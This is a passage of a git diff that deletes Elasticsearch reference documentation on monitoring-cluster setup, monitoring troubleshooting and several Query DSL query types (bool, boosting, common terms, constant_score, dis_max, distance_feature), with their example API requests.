-.. (Optional) Verify that the collection of monitoring data is disabled on the
-monitoring cluster. By default, the `xpack.monitoring.collection.enabled` setting
-is `false`.
-+
---
-For example, you can use the following APIs to review and change this setting:
-
-[source,console]
-----------------------------------
-GET _cluster/settings
-
-PUT _cluster/settings
-{
-  "persistent": {
-    "xpack.monitoring.collection.enabled": false
-  }
-}
-----------------------------------
-// TEST[skip:security errs]
---
-
-.. If the {es} {security-features} are enabled on the monitoring cluster, create
-users that can send and retrieve monitoring data.
-+
---
-NOTE: If you plan to use {kib} to view monitoring data, username and password
-credentials must be valid on both the {kib} server and the monitoring cluster.
-
---
-
-*** If you plan to use {metricbeat} to collect data about {es} or {kib},
-create a user that has the `remote_monitoring_collector` built-in role and a
-user that has the `remote_monitoring_agent`
-<<built-in-roles-remote-monitoring-agent,built-in role>>. Alternatively, use the
-`remote_monitoring_user` <<built-in-users,built-in user>>.
-
-*** If you plan to use HTTP exporters to route data through your production
-cluster, create a user that has the `remote_monitoring_agent`
-<<built-in-roles-remote-monitoring-agent,built-in role>>.
-+
---
-For example, the
-following request creates a `remote_monitor` user that has the
-`remote_monitoring_agent` role:
-
-[source,console]
----------------------------------------------------------------
-POST /_security/user/remote_monitor
-{
-  "password" : "changeme",
-  "roles" : [ "remote_monitoring_agent"],
-  "full_name" : "Internal Agent For Remote Monitoring"
-}
----------------------------------------------------------------
-// TEST[skip:needs-gold+-license]
-
-Alternatively, use the `remote_monitoring_user` <<built-in-users,built-in user>>.
---
-
-. Configure your production cluster to collect data and send it to the
-monitoring cluster:
-
-** <<configuring-metricbeat,{metricbeat} collection methods>>
-
-** <<collecting-monitoring-data,Legacy collection methods>>
-
-. (Optional)
-{logstash-ref}/configuring-logstash.html[Configure {ls} to collect data and send it to the monitoring cluster].
-
-. (Optional) Configure the Beats to collect data and send it to the monitoring
-cluster.
-** {auditbeat-ref}/monitoring.html[Auditbeat]
-** {filebeat-ref}/monitoring.html[Filebeat]
-** {heartbeat-ref}/monitoring.html[Heartbeat]
-** {metricbeat-ref}/monitoring.html[Metricbeat]
-** {packetbeat-ref}/monitoring.html[Packetbeat]
-** {winlogbeat-ref}/monitoring.html[Winlogbeat]
-
-. (Optional) Configure {kib} to collect data and send it to the monitoring cluster:
-
-** {kibana-ref}/monitoring-metricbeat.html[{metricbeat} collection methods]
-
-** {kibana-ref}/monitoring-kibana.html[Legacy collection methods]
-
-. (Optional) Create a dedicated {kib} instance for monitoring, rather than using
-a single {kib} instance to access both your production cluster and monitoring
-cluster.
-+
---
-NOTE: If you log in to {kib} using SAML, Kerberos, PKI, OpenID Connect, or token
-authentication providers, a dedicated {kib} instance is *required*. The security
-tokens that are used in these contexts are cluster-specific, therefore you
-cannot use a single {kib} instance to connect to both production and monitoring
-clusters.
-
---
-
-.. (Optional) Disable the collection of monitoring data in this {kib} instance.
-Set the `xpack.monitoring.kibana.collection.enabled` setting to `false` in the
-`kibana.yml` file. For more information about this setting, see
-{kibana-ref}/monitoring-settings-kb.html[Monitoring settings in {kib}].
-
-. {kibana-ref}/monitoring-data.html[Configure {kib} to retrieve and display the monitoring data].
diff --git a/docs/reference/monitoring/troubleshooting.asciidoc b/docs/reference/monitoring/troubleshooting.asciidoc
deleted file mode 100644
index 120e80083b8..00000000000
--- a/docs/reference/monitoring/troubleshooting.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
-[[monitoring-troubleshooting]]
-== Troubleshooting monitoring
-++++
-<titleabbrev>Troubleshooting</titleabbrev>
-++++
-
-Use the information in this section to troubleshoot common problems and find
-answers for frequently asked questions. See also
-{logstash-ref}/monitoring-troubleshooting.html[Troubleshooting monitoring in {ls}].
-
-For issues that you cannot fix yourself … we’re here to help.
-If you are an existing Elastic customer with a support contract, please create
-a ticket in the
-https://support.elastic.co/customers/s/login/[Elastic Support portal].
-Or post in the https://discuss.elastic.co/[Elastic forum].
-
-[discrete]
-[[monitoring-troubleshooting-no-data]]
-=== No monitoring data is visible in {kib}
-
-*Symptoms*:
-There is no information about your cluster on the *Stack Monitoring* page in
-{kib}.
-
-*Resolution*:
-Check whether the appropriate indices exist on the monitoring cluster. For
-example, use the <<cat-indices,cat indices>> command to verify that
-there is a `.monitoring-kibana*` index for your {kib} monitoring data and a
-`.monitoring-es*` index for your {es} monitoring data. If you are collecting
-monitoring data by using {metricbeat} the indices have `-mb` in their names. If
-the indices do not exist, review your configuration. For example, see
-<<monitoring-production>>.
-
-[discrete]
-[[monitoring-troubleshooting-uuid]]
-=== Monitoring data for some {stack} nodes or instances is missing from {kib}
-
-*Symptoms*:
-The *Stack Monitoring* page in {kib} does not show information for some nodes or 
-instances in your cluster.
-
-*Resolution*:
-Verify that the missing items have unique UUIDs. Each {es} node, {ls} node,
-{kib} instance, Beat instance, and APM Server is considered unique based on its
-persistent UUID, which is found in its `path.data` directory. Alternatively, you
-can find the UUIDs in the product logs at startup.
-
-In some cases, you can also retrieve this information via APIs:
-
-* For Beat instances, use the HTTP endpoint to retrieve the `uuid` property.
-For example, refer to
-{filebeat-ref}/http-endpoint.html[Configure an HTTP endpoint for {filebeat} metrics].
-* For {kib} instances, use the
-{kibana-ref}/access.html#status[status endpoint] to retrieve the `uuid` property.
-* For {ls} nodes, use the
-{logstash-ref}/monitoring-logstash.html[monitoring APIs root resource] to
-retrieve the `id` property.
-
-TIP: When you install {es}, {ls}, {kib}, APM Server, or Beats, their `path.data`
-directory should be non-existent or empty; do not copy this directory from other
-installations.
-
-
diff --git a/docs/reference/query-dsl.asciidoc b/docs/reference/query-dsl.asciidoc
deleted file mode 100644
index 6e7d3527f91..00000000000
--- a/docs/reference/query-dsl.asciidoc
+++ /dev/null
@@ -1,75 +0,0 @@
-[[query-dsl]]
-= Query DSL
-
-[partintro]
---
-
-Elasticsearch provides a full Query DSL (Domain Specific Language) based on JSON to define queries.
-Think of the Query DSL as an AST (Abstract Syntax Tree) of queries, consisting of two types of
-clauses:
-
-Leaf query clauses::
-
-Leaf query clauses look for a particular value in a particular field, such as the
-<<query-dsl-match-query,`match`>>, <<query-dsl-term-query,`term`>> or
-<<query-dsl-range-query,`range`>> queries.  These queries can be used
-by themselves.
-
-Compound query clauses::
-
-Compound query clauses wrap other leaf *or* compound queries and are used to combine
-multiple queries in a logical fashion (such as the
-<<query-dsl-bool-query,`bool`>> or <<query-dsl-dis-max-query,`dis_max`>> query),
-or to alter their behaviour (such as the
-<<query-dsl-constant-score-query,`constant_score`>> query).
-
-Query clauses behave differently depending on whether they are used in
-<<query-filter-context,query context or filter context>>.
-
-[[query-dsl-allow-expensive-queries]]
-Allow expensive queries::
-Certain types of queries will generally execute slowly due to the way they are implemented, which can affect
-the stability of the cluster. Those queries can be categorised as follows:
-* Queries that need to do linear scans to identify matches:
-** <<query-dsl-script-query, `script queries`>>
-* Queries that have a high up-front cost :
-** <<query-dsl-fuzzy-query,`fuzzy queries`>> (except on <<wildcard-field-type, `wildcard`>> fields)
-** <<query-dsl-regexp-query,`regexp queries`>> (except on <<wildcard-field-type, `wildcard`>> fields)
-** <<query-dsl-prefix-query,`prefix queries`>>  (except on <<wildcard-field-type, `wildcard`>> fields or those without <<index-prefixes, `index_prefixes`>>)
-** <<query-dsl-wildcard-query, `wildcard queries`>> (except on <<wildcard-field-type, `wildcard`>> fields)
-** <<query-dsl-range-query, `range queries>> on <<text, `text`>> and <<keyword, `keyword`>> fields
-* <<joining-queries, `Joining queries`>>
-* Queries on <<prefix-trees, deprecated geo shapes>>
-* Queries that may have a high per-document cost:
-** <<query-dsl-script-score-query, `script score queries`>>
-** <<query-dsl-percolate-query, `percolate queries`>>
-
-The execution of such queries can be prevented by setting the value of the `search.allow_expensive_queries`
-setting to `false` (defaults to `true`).
---
-
-include::query-dsl/query_filter_context.asciidoc[]
-
-include::query-dsl/compound-queries.asciidoc[]
-
-include::query-dsl/full-text-queries.asciidoc[]
-
-include::query-dsl/geo-queries.asciidoc[]
-
-include::query-dsl/shape-queries.asciidoc[]
-
-include::query-dsl/joining-queries.asciidoc[]
-
-include::query-dsl/match-all-query.asciidoc[]
-
-include::query-dsl/span-queries.asciidoc[]
-
-include::query-dsl/special-queries.asciidoc[]
-
-include::query-dsl/term-level-queries.asciidoc[]
-
-include::query-dsl/minimum-should-match.asciidoc[]
-
-include::query-dsl/multi-term-rewrite.asciidoc[]
-
-include::query-dsl/regexp-syntax.asciidoc[]
diff --git a/docs/reference/query-dsl/_query-template.asciidoc b/docs/reference/query-dsl/_query-template.asciidoc
deleted file mode 100644
index a5b8b447525..00000000000
--- a/docs/reference/query-dsl/_query-template.asciidoc
+++ /dev/null
@@ -1,118 +0,0 @@
-////
-This is a template for query DSL reference documentation.
-
-To document a new query type, copy this file, remove comments like this, and
-replace "sample" with the appropriate query name.
-
-Ensure the new query docs are linked and included in
-docs/reference/query-dsl.asciidoc
-////
-
-[[query-dsl-sample-query]]
-=== Sample query
-++++
-<titleabbrev>Sample</titleabbrev>
-++++
-
-////
-INTRO
-Include a brief, 1-2 sentence description.
-////
-
-Does a cool thing. For example, it matches `x` to `y`.
-
-[[sample-query-ex-request]]
-==== Example request
-////
-Basic example of a search request consisting of only this query.
-
-Guidelines
-***************************************
-* Don't include the index name in the request path.
-* Don't include common parameters, such as `boost`.
-* For clarity, use the long version of the request body. You can include a
-  short request example in the 'Notes' section.
-* Ensure // TEST[skip:...] comments are removed.
-***************************************
-////
-
-[source,console]
-----
-GET _search
-{
-  "query": {
-    "sample": {
-      "foo": "baz",
-      "bar": true
-    }
-  }
-}
-----
-// TEST[skip: REMOVE THIS COMMENT.]
-
-[[sample-query-params]]
-==== Parameters
-
-////
-Documents each parameter for the query.
-
-Guidelines
-***************************************
-* Use a definition list.
-* End each definition with a period.
-* Include whether the parameter is Optional or Required and the data type.
-* Include default values as the last sentence of the first paragraph.
-* Include a range of valid values, if applicable.
-* If the parameter requires a specific delimiter for multiple values, say so.
-* If the parameter supports wildcards, ditto.
-* For large or nested objects, consider linking to a separate definition list.
-***************************************
-////
-
-`foo`::
-(Required, string)
-A cool thing.
-
-`bar`::
-(Optional, string)
-If `true`, does a cool thing.
-Defaults to `false`.
-
-
-[[sample-query-notes]]
-==== Notes
-////
-Contains extra information about the query, including:
-* Additional examples for parameters or short request bodies.
-* Tips or advice for using the query.
-
-Guidelines
-***************************************
-* For longer sections, consider using the `[%collapsible] macro.
-* Ensure // TEST[skip:...] comments are removed.
-***************************************
-////
-
-===== Avoid using the `sample` query for `text` fields
-
-By default, {es} changes the values of `text` fields during analysis. For
-example, ...
-
-===== Using the `sample` query on time series data
-
-You can use the `sample` query to perform searches on time series data.
-For example:
-
-[source,console]
-----
-GET my_time_series_index/_search
-{
-  "query": {
-    "sample": {
-      "foo": "baz",
-      "bar": false
-    }
-  }
-}
-----
-// TEST[skip: REMOVE THIS COMMENT.]
\ No newline at end of file
diff --git a/docs/reference/query-dsl/bool-query.asciidoc b/docs/reference/query-dsl/bool-query.asciidoc
deleted file mode 100644
index 1a78e131e01..00000000000
--- a/docs/reference/query-dsl/bool-query.asciidoc
+++ /dev/null
@@ -1,171 +0,0 @@
-[[query-dsl-bool-query]]
-=== Boolean query
-++++
-<titleabbrev>Boolean</titleabbrev>
-++++
-
-A query that matches documents matching boolean combinations of other
-queries. The bool query maps to Lucene `BooleanQuery`. It is built using
-one or more boolean clauses, each clause with a typed occurrence. The
-occurrence types are:
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Occur |Description
-|`must` |The clause (query) must appear in matching documents and will
-contribute to the score.
-
-|`filter` |The clause (query) must appear in matching documents. However unlike
-`must` the score of the query will be ignored. Filter clauses are executed
-in <<query-filter-context,filter context>>, meaning that scoring is ignored
-and clauses are considered for caching.
-
-|`should` |The clause (query) should appear in the matching document.
-
-|`must_not` |The clause (query) must not appear in the matching
-documents.  Clauses are executed in <<query-filter-context,filter context>> meaning
-that scoring is ignored and clauses are considered for caching. Because scoring is
-ignored, a score of `0` for all documents is returned.
-|=======================================================================
-
-The `bool` query takes a _more-matches-is-better_ approach, so the score from
-each matching `must` or `should` clause will be added together to provide the
-final `_score` for each document.
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "query": {
-    "bool" : {
-      "must" : {
-        "term" : { "user.id" : "kimchy" }
-      },
-      "filter": {
-        "term" : { "tags" : "production" }
-      },
-      "must_not" : {
-        "range" : {
-          "age" : { "gte" : 10, "lte" : 20 }
-        }
-      },
-      "should" : [
-        { "term" : { "tags" : "env1" } },
-        { "term" : { "tags" : "deployed" } }
-      ],
-      "minimum_should_match" : 1,
-      "boost" : 1.0
-    }
-  }
-}
---------------------------------------------------
-
-[[bool-min-should-match]]
-==== Using `minimum_should_match`
-
-You can use the `minimum_should_match` parameter to specify the number or
-percentage of `should` clauses returned documents _must_ match.
-
-If the `bool` query includes at least one `should` clause and no `must` or
-`filter` clauses, the default value is `1`.
-Otherwise, the default value is `0`.
-
-For other valid values, see the
-<<query-dsl-minimum-should-match, `minimum_should_match` parameter>>.
-
-[[score-bool-filter]]
-==== Scoring with `bool.filter`
-
-Queries specified under the `filter` element have no effect on scoring --
-scores are returned as `0`.  Scores are only affected by the query that has
-been specified.  For instance, all three of the following queries return
-all documents where the `status` field contains the term `active`.
-
-This first query assigns a score of `0` to all documents, as no scoring
-query has been specified:
-
-[source,console]
----------------------------------
-GET _search
-{
-  "query": {
-    "bool": {
-      "filter": {
-        "term": {
-          "status": "active"
-        }
-      }
-    }
-  }
-}
----------------------------------
-
-This `bool` query has a `match_all` query, which assigns a score of `1.0` to
-all documents.
-
-[source,console]
----------------------------------
-GET _search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "term": {
-          "status": "active"
-        }
-      }
-    }
-  }
-}
----------------------------------
-
-This `constant_score` query behaves in exactly the same way as the second example above.
-The `constant_score` query assigns a score of `1.0` to all documents matched
-by the filter.
-
-[source,console]
----------------------------------
-GET _search
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "term": {
-          "status": "active"
-        }
-      }
-    }
-  }
-}
----------------------------------
-
-[[named-queries]]
-==== Named queries
-
-Each query accepts a `_name` in its top level definition. You can use named
-queries to track which queries matched returned documents. If named queries are
-used, the response includes a `matched_queries` property for each hit.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "bool": {
-      "should": [
-        { "match": { "name.first": { "query": "shay", "_name": "first" } } },
-        { "match": { "name.last": { "query": "banon", "_name": "last" } } }
-      ],
-      "filter": {
-        "terms": {
-          "name.last": [ "banon", "kimchy" ],
-          "_name": "test"
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/query-dsl/boosting-query.asciidoc b/docs/reference/query-dsl/boosting-query.asciidoc
deleted file mode 100644
index 050ca7746bd..00000000000
--- a/docs/reference/query-dsl/boosting-query.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
-[[query-dsl-boosting-query]]
-=== Boosting query
-++++
-<titleabbrev>Boosting</titleabbrev>
-++++
-
-Returns documents matching a `positive` query while reducing the
-<<relevance-scores,relevance score>> of documents that also match a
-`negative` query.
-
-You can use the `boosting` query to demote certain documents without
-excluding them from the search results.
-
-[[boosting-query-ex-request]]
-==== Example request
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "boosting": {
-      "positive": {
-        "term": {
-          "text": "apple"
-        }
-      },
-      "negative": {
-        "term": {
-          "text": "pie tart fruit crumble tree"
-        }
-      },
-      "negative_boost": 0.5
-    }
-  }
-}
-----
-
-[[boosting-top-level-params]]
-==== Top-level parameters for `boosting`
-
-`positive`::
-(Required, query object) Query you wish to run. Any returned documents must
-match this query.
-
-`negative`::
-+
---
-(Required, query object) Query used to decrease the <<relevance-scores,relevance
-score>> of matching documents.
-
-If a returned document matches the `positive` query and this query, the
-`boosting` query calculates the final <<relevance-scores,relevance score>> for
-the document as follows:
-
-. Take the original relevance score from the `positive` query.
-. Multiply the score by the `negative_boost` value.
---
-
-`negative_boost`::
-(Required, float) Floating point number between `0` and `1.0` used to decrease
-the <<relevance-scores,relevance scores>> of documents matching the
-`negative` query.
\ No newline at end of file
diff --git a/docs/reference/query-dsl/common-terms-query.asciidoc b/docs/reference/query-dsl/common-terms-query.asciidoc
deleted file mode 100644
index b62bb95fd73..00000000000
--- a/docs/reference/query-dsl/common-terms-query.asciidoc
+++ /dev/null
@@ -1,297 +0,0 @@
-[[query-dsl-common-terms-query]]
-=== Common Terms Query
-
-deprecated[7.3.0,"Use <<query-dsl-match-query>> instead, which skips blocks of documents efficiently, without any configuration, provided that the total number of hits is not tracked."]
-
-The `common` terms query is a modern alternative to stopwords which
-improves the precision and recall of search results (by taking stopwords
-into account), without sacrificing performance.
-
-[discrete]
-==== The problem
-
-Every term in a query has a cost. A search for `"The brown fox"`
-requires three term queries, one for each of `"the"`, `"brown"` and
-`"fox"`, all of which are executed against all documents in the index.
-The query for `"the"` is likely to match many documents and thus has a
-much smaller impact on relevance than the other two terms.
-
-Previously, the solution to this problem was to ignore terms with high
-frequency. By treating `"the"` as a _stopword_, we reduce the index size
-and reduce the number of term queries that need to be executed.
-
-The problem with this approach is that, while stopwords have a small
-impact on relevance, they are still important. If we remove stopwords,
-we lose precision, (eg we are unable to distinguish between `"happy"`
-and `"not happy"`) and we lose recall (eg text like `"The The"` or
-`"To be or not to be"` would simply not exist in the index).
-
-[discrete]
-==== The solution
-
-The `common` terms query divides the query terms into two groups: more
-important (ie _low frequency_ terms) and less important (ie _high
-frequency_ terms which would previously have been stopwords).
-
-First it searches for documents which match the more important terms.
-These are the terms which appear in fewer documents and have a greater
-impact on relevance.
-
-Then, it executes a second query for the less important terms -- terms
-which appear frequently and have a low impact on relevance. But instead
-of calculating the relevance score for *all* matching documents, it only
-calculates the `_score` for documents already matched by the first
-query. In this way the high frequency terms can improve the relevance
-calculation without paying the cost of poor performance.
-
-If a query consists only of high frequency terms, then a single query is
-executed as an `AND` (conjunction) query, in other words all terms are
-required. Even though each individual term will match many documents,
-the combination of terms narrows down the resultset to only the most
-relevant. The single query can also be executed as an `OR` with a
-specific
-<<query-dsl-minimum-should-match,`minimum_should_match`>>,
-in this case a high enough value should probably be used.
-
-Terms are allocated to the high or low frequency groups based on the
-`cutoff_frequency`, which can be specified as an absolute frequency
-(`>=1`) or as a relative frequency (`0.0 .. 1.0`). (Remember that document
-frequencies are computed on a per shard level as explained in the blog post
-{defguide}/relevance-is-broken.html[Relevance is broken].)
-
-Perhaps the most interesting property of this query is that it adapts to
-domain specific stopwords automatically. For example, on a video hosting
-site, common terms like `"clip"` or `"video"` will automatically behave
-as stopwords without the need to maintain a manual list.
-
-[discrete]
-==== Examples
-
-In this example, words that have a document frequency greater than 0.1%
-(eg `"this"` and `"is"`) will be treated as _common terms_.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "common": {
-      "body": {
-        "query": "this is bonsai cool",
-        "cutoff_frequency": 0.001
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:Deprecated field [common] used, replaced by [[match] query which can efficiently skip blocks of documents if the total number of hits is not tracked]]
-
-The number of terms which should match can be controlled with the
-<<query-dsl-minimum-should-match,`minimum_should_match`>>
-(`high_freq`, `low_freq`), `low_freq_operator` (default `"or"`) and
-`high_freq_operator` (default `"or"`) parameters.
-
-For low frequency terms, set the `low_freq_operator` to `"and"` to make
-all terms required:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "common": {
-      "body": {
-        "query": "nelly the elephant as a cartoon",
-        "cutoff_frequency": 0.001,
-        "low_freq_operator": "and"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:Deprecated field [common] used, replaced by [[match] query which can efficiently skip blocks of documents if the total number of hits is not tracked]]
-
-which is roughly equivalent to:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "must": [
-      { "term": { "body": "nelly"}},
-      { "term": { "body": "elephant"}},
-      { "term": { "body": "cartoon"}}
-      ],
-      "should": [
-      { "term": { "body": "the"}},
-      { "term": { "body": "as"}},
-      { "term": { "body": "a"}}
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-Alternatively use
-<<query-dsl-minimum-should-match,`minimum_should_match`>>
-to specify a minimum number or percentage of low frequency terms which
-must be present, for instance:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "common": {
-      "body": {
-        "query": "nelly the elephant as a cartoon",
-        "cutoff_frequency": 0.001,
-        "minimum_should_match": 2
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:Deprecated field [common] used, replaced by [[match] query which can efficiently skip blocks of documents if the total number of hits is not tracked]]
-
-which is roughly equivalent to:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "bool": {
-          "should": [
-            { "term": { "body": "nelly"}},
-            { "term": { "body": "elephant"}},
-            { "term": { "body": "cartoon"}}
-          ],
-          "minimum_should_match": 2
-        }
-      },
-      "should": [
-        { "term": { "body": "the"}},
-        { "term": { "body": "as"}},
-        { "term": { "body": "a"}}
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-A different
-<<query-dsl-minimum-should-match,`minimum_should_match`>>
-can be applied for low and high frequency terms with the additional
-`low_freq` and `high_freq` parameters. Here is an example when providing
-additional parameters (note the change in structure):
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "common": {
-      "body": {
-        "query": "nelly the elephant not as a cartoon",
-        "cutoff_frequency": 0.001,
-        "minimum_should_match": {
-          "low_freq": 2,
-          "high_freq": 3
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:Deprecated field [common] used, replaced by [[match] query which can efficiently skip blocks of documents if the total number of hits is not tracked]]
-
-which is roughly equivalent to:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "bool": {
-          "should": [
-            { "term": { "body": "nelly"}},
-            { "term": { "body": "elephant"}},
-            { "term": { "body": "cartoon"}}
-          ],
-          "minimum_should_match": 2
-        }
-      },
-      "should": {
-        "bool": {
-          "should": [
-            { "term": { "body": "the"}},
-            { "term": { "body": "not"}},
-            { "term": { "body": "as"}},
-            { "term": { "body": "a"}}
-          ],
-          "minimum_should_match": 3
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-In this case it means the high frequency terms have only an impact on
-relevance when there are at least three of them. But the most
-interesting use of the
-<<query-dsl-minimum-should-match,`minimum_should_match`>>
-for high frequency terms is when there are only high frequency terms:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "common": {
-      "body": {
-        "query": "how not to be",
-        "cutoff_frequency": 0.001,
-        "minimum_should_match": {
-          "low_freq": 2,
-          "high_freq": 3
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:Deprecated field [common] used, replaced by [[match] query which can efficiently skip blocks of documents if the total number of hits is not tracked]]
-
-which is roughly equivalent to:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "should": [
-        { "term": { "body": "how"}},
-        { "term": { "body": "not"}},
-        { "term": { "body": "to"}},
-        { "term": { "body": "be"}}
-      ],
-      "minimum_should_match": "3<50%"
-    }
-  }
-}
---------------------------------------------------
-
-The high frequency generated query is then slightly less restrictive
-than with an `AND`.
-
-The `common` terms query also supports `boost` and `analyzer` as
-parameters.
diff --git a/docs/reference/query-dsl/compound-queries.asciidoc b/docs/reference/query-dsl/compound-queries.asciidoc
deleted file mode 100644
index d156950e355..00000000000
--- a/docs/reference/query-dsl/compound-queries.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
-[[compound-queries]]
-== Compound queries
-
-Compound queries wrap other compound or leaf queries, either to combine their
-results and scores, to change their behaviour, or to switch from query to
-filter context.
-
-The queries in this group are:
-
-<<query-dsl-bool-query,`bool` query>>::
-The default query for combining multiple leaf or compound query clauses, as
-`must`, `should`, `must_not`, or `filter` clauses.  The `must` and `should`
-clauses have their scores combined -- the more matching clauses, the better --
-while the `must_not` and `filter` clauses are executed in filter context.
-
-<<query-dsl-boosting-query,`boosting` query>>::
-Return documents which match a `positive` query, but reduce the score of
-documents which also match a `negative` query.
-
-<<query-dsl-constant-score-query,`constant_score` query>>::
-A query which wraps another query, but executes it in filter context.  All
-matching documents are given the same ``constant'' `_score`.
-
-<<query-dsl-dis-max-query,`dis_max` query>>::
-A query which accepts multiple queries, and returns any documents which match
-any of the query clauses.  While the `bool` query combines the scores from all
-matching queries, the `dis_max` query uses the score of the single best-
-matching query clause.
-
-<<query-dsl-function-score-query,`function_score` query>>::
-Modify the scores returned by the main query with functions to take into
-account factors like popularity, recency, distance, or custom algorithms
-implemented with scripting.
-
-
-include::bool-query.asciidoc[]
-include::boosting-query.asciidoc[]
-include::constant-score-query.asciidoc[]
-include::dis-max-query.asciidoc[]
-include::function-score-query.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/query-dsl/constant-score-query.asciidoc b/docs/reference/query-dsl/constant-score-query.asciidoc
deleted file mode 100644
index f2e8d7a16b4..00000000000
--- a/docs/reference/query-dsl/constant-score-query.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-[[query-dsl-constant-score-query]]
-=== Constant score query
-++++
-<titleabbrev>Constant score</titleabbrev>
-++++
-
-Wraps a <<query-dsl-bool-query, filter query>> and returns every matching
-document with a <<relevance-scores,relevance score>> equal to the `boost`
-parameter value.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "term": { "user.id": "kimchy" }
-      },
-      "boost": 1.2
-    }
-  }
-}
-----
-
-[[constant-score-top-level-params]]
-==== Top-level parameters for `constant_score`
-`filter`::
-+
---
-(Required, query object) <<query-dsl-bool-query, Filter query>> you wish to run.
-Any returned documents must match this query.
-
-Filter queries do not calculate <<relevance-scores,relevance scores>>. To
-speed up performance, {es} automatically caches frequently used filter queries.
---
-
-`boost`::
-(Optional, float) Floating point number used as the constant
-<<relevance-scores,relevance score>> for every document matching the
-`filter` query. Defaults to `1.0`.
\ No newline at end of file
diff --git a/docs/reference/query-dsl/dis-max-query.asciidoc b/docs/reference/query-dsl/dis-max-query.asciidoc
deleted file mode 100644
index 80bc34236a9..00000000000
--- a/docs/reference/query-dsl/dis-max-query.asciidoc
+++ /dev/null
@@ -1,66 +0,0 @@
-[[query-dsl-dis-max-query]]
-=== Disjunction max query
-++++
-<titleabbrev>Disjunction max</titleabbrev>
-++++
-
-Returns documents matching one or more wrapped queries, called query clauses or
-clauses.
-
-If a returned document matches multiple query clauses, the `dis_max` query
-assigns the document the highest relevance score from any matching clause, plus
-a tie breaking increment for any additional matching subqueries.
-
-You can use the `dis_max` to search for a term in fields mapped with different
-<<mapping-boost,boost>> factors.
-
-[[query-dsl-dis-max-query-ex-request]]
-==== Example request
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "dis_max": {
-      "queries": [
-        { "term": { "title": "Quick pets" } },
-        { "term": { "body": "Quick pets" } }
-      ],
-      "tie_breaker": 0.7
-    }
-  }
-}
-----
-
-[[query-dsl-dis-max-query-top-level-params]]
-==== Top-level parameters for `dis_max`
-
-`queries`::
-(Required, array of query objects) Contains one or more query clauses. Returned
-documents **must match one or more** of these queries. If a document matches
-multiple queries, {es} uses the highest <<query-filter-context, relevance
-score>>.
-
-`tie_breaker`::
-+
---
-(Optional, float) Floating point number between `0` and `1.0` used to increase
-the <<relevance-scores,relevance scores>> of documents matching multiple
-query clauses. Defaults to `0.0`.
-
-You can use the `tie_breaker` value to assign higher relevance scores to
-documents that contain the same term in multiple fields than documents that
-contain this term in only the best of those multiple fields, without confusing
-this with the better case of two different terms in the multiple fields.
-
-If a document matches multiple clauses, the `dis_max` query calculates the
-relevance score for the document as follows:
-
-. Take the relevance score from a matching clause with the highest score.
-. Multiply the score from any other matching clauses by the `tie_breaker` value.
-. Add the highest score to the multiplied scores.
-
-If the `tie_breaker` value is greater than `0.0`, all matching clauses count,
-but the clause with the highest score counts most.
---
\ No newline at end of file
diff --git a/docs/reference/query-dsl/distance-feature-query.asciidoc b/docs/reference/query-dsl/distance-feature-query.asciidoc
deleted file mode 100644
index 05ce0873f58..00000000000
--- a/docs/reference/query-dsl/distance-feature-query.asciidoc
+++ /dev/null
@@ -1,225 +0,0 @@
-[[query-dsl-distance-feature-query]]
-=== Distance feature query
-++++
-<titleabbrev>Distance feature</titleabbrev>
-++++
-
-Boosts the <<relevance-scores,relevance score>> of documents closer to a
-provided `origin` date or point. For example, you can use this query to give
-more weight to documents closer to a certain date or location.
-
-You can use the `distance_feature` query to find the nearest neighbors to a
-location. You can also use the query in a <<query-dsl-bool-query,`bool`>>
-search's `should` filter to add boosted relevance scores to the `bool` query's
-scores.
-
-
-[[distance-feature-query-ex-request]]
-==== Example request
-
-[[distance-feature-index-setup]]
-===== Index setup
-To use the `distance_feature` query, your index must include a <<date, `date`>>,
-<<date_nanos, `date_nanos`>> or <<geo-point,`geo_point`>> field.
-
-To see how you can set up an index for the `distance_feature` query, try the
-following example.
-
-. Create an `items` index with the following field mapping:
-+
---
-
-* `name`, a <<keyword,`keyword`>> field
-* `production_date`, a <<date, `date`>> field
-* `location`, a <<geo-point,`geo_point`>> field
-
-[source,console]
-----
-PUT /items
-{
-  "mappings": {
-    "properties": {
-      "name": {
-        "type": "keyword"
-      },
-      "production_date": {
-        "type": "date"
-      },
-      "location": {
-        "type": "geo_point"
-      }
-    }
-  }
-}
-----
-// TESTSETUP
---
-
-. Index several documents to this index.
-+
---
-[source,console]
-----
-PUT /items/_doc/1?refresh
-{
-  "name" : "chocolate",
-  "production_date": "2018-02-01",
-  "location": [-71.34, 41.12]
-}
-
